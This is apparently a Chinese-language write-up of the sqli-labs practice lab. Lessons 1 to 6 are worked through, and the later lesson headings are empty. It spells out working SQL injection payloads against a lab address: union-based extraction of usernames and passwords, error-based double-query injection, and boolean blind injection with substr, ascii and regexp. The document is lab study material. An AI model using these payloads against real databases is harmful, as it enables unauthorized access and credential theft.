抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

Basic Challenges

Less-01

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
- 正常访问
http://192.144.236.48:51494/Less-1/?id=1

- 添加 '
返回报错信息:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

- 使用 1' order by 3 --+
得到列数为3

- 使用union 获取admin和password
-1 的作用是查询不存在的值,使得结果为空,则返回为 union 内容
-1 ' union select 1,2,3 // 确定可以显示到页面的位置
-1 ' union select 1,2,group_concat(schema_name) from information_schema.schemata // 得到数据库名 或 通过database() 获取数据库名
-1 ' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' %23
-1 ' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'%23
-1 ' union select 1,username,password from users %23
-1 ' union select 1,2,group_concat(id,0x7c,username,0x7c,password) from users %23
-1 ' union select database(),version(),group_concat(id,0x7c,username,0x7c,password) from users --+

Less-02

同 01 但 无需闭合单引号,数字型的

Less-03

同 01 但 有个括号需要闭合

Less-04

同 01 但 需要闭合双引号和括号

Less-05

看似盲注,可用双注来显示想要的内容

1
2
3
4
5
6
7
8
9
10
11
as : 别名
rand: 遵循四舍五入把原值转化为指定小数位数
floor: 向下舍入为指定小数位数
ceiling: 向上舍入为指定小数位数
rand: 返回一个介于 0 到 1(不包括 0 和 1)之间的伪随机 float 值
group by: GROUP BY必须得配合聚合函数来用,根据字段来分类
- 使用
select count(*) from [table] group by concat('~',([真正的查询语句]),'~',floor(rand(0)*2))
select count(*),concat_ws(char(32,58,32),([查询语句]),floor(rand(0)*2)) as a from [table] group by a
- 原理
简单来说就是count等聚合函数之后,如果使用分组语句,就会把查询的一部分以错误的形式显示出来,即人为的制造一个错误来显示需要的内容

注入方式:

1
2
3
4
-1' union select 1,count(*),concat(0x3a,([select database()]),0x3a,floor(rand()*2))a from information_schema.columns group by a--+
-1' union select count(*),2,concat( '~',(select table_name from information_schema.tables where table_schema = 'security' limit 3,1),'~',floor(rand()*2)) as a from information_schema.schemata group by a %23 //获取表 users
-1' union select count(*),1,concat( '~',(select column_name from information_schema.columns where table_name= 'users' limit 2,1),'~',floor(rand()*2)) as a from information_schema.schemata group by a %23 // 这里爆出了他三个字段,注意如果字段不存在也是返回you are in
-1' union select count(*),1,concat( '~',(select concat(id,username,password) from users limit 2,1),'~',floor(rand()*2)) as a from information_schema.schemata group by a %23 // 成功拿到 password username

此外还可用盲注:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
介绍几个语法:
截取字符串:
left: Left ( string, n ) 得到字符串左部指定个数的字符,
substr: substr(string, start, length) 和substring()函数一样,截取字符串,第一个为处理的字符串,开始位置,长度
mid: MID(column_name,start[,length]) // 前两个字段为必须,length 为可选,选择开始字段,开始位置,截取长度。
ascii: 返回字符串str的最左字符的数值,返回ascii值,0-255
length: 对字段长度破解,一般先对长度破解,然后在爆破字段值,这个一般采用二分法进行破解。
strcmp: 可以配合left 来使用,如果相等返回0 小于返回1 大于返回-1
regexp: 通过regexp 和 正则表达式来获取字段 这个时候 会匹配所有的字段,所以limit已经不起作用

1' and left(version(),1)=5 %23 // 判断当最左侧字符等于5时 返回you are in
1' and left(version(),2)=5.%23 // 可以通过这样慢慢推出整个字段值

使用substr 和ascii 来推出表名
1' and ascii(substr(select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1) > 80 %23
尝试使用regexp
1' and (select 1 from information_schema.columns where table_name = 'users' and column_name regexp '^pass[a-z]' ;)=1 %23
使用 ord mid
ord 和ascii 一样
mid(column_name,start[,length]) // 从位置start开始,截取column_name字符串的length位,与substr作用相同
这里就类似ascii(substr) == ord(mid())
cast(username as char) 将 username 转成字符串
ifnull(exp1,exp2) exp1 不为null 则IFNULL()的返回值为exp1; 否则其返回值为exp2。IFNULL()的返回值是数字或是字符串,具体情况取决于其所使用的语境。
1 ' and ord(mid((select ifnull (cast(username as char), 0x20) from security.users order by id limit 0,1),1,1)) = 127 %23

Less-06

同 05 但 为双引号闭合

Less-07

Less-08

Less-09

Less-10

Less-11

Less-12

Less-13

Less-14

Less-15

Less-16

Less-17

Less-18

Less-19

Less-20

Less-21

Less-22

Less-23

Less-24

Less-25

Less-26

Less-27

Less-28

Less-29

Less-30

Less-31

Less-32

Less-33

Less-34

Less-35

Less-36

Less-37

Less-38

Less-39

Less-40

Less-41

Less-42

Less-43

Less-44

Less-45

Less-46

Less-47

Less-48

Less-49

Less-50

Less-51

Less-52

Less-53

Less-54

Less-55

Less-56

Less-57

Less-58

Less-59

Less-60

Less-61

Less-62

Less-63

Less-64

Less-65

Less-66

Less-67

Less-68

评论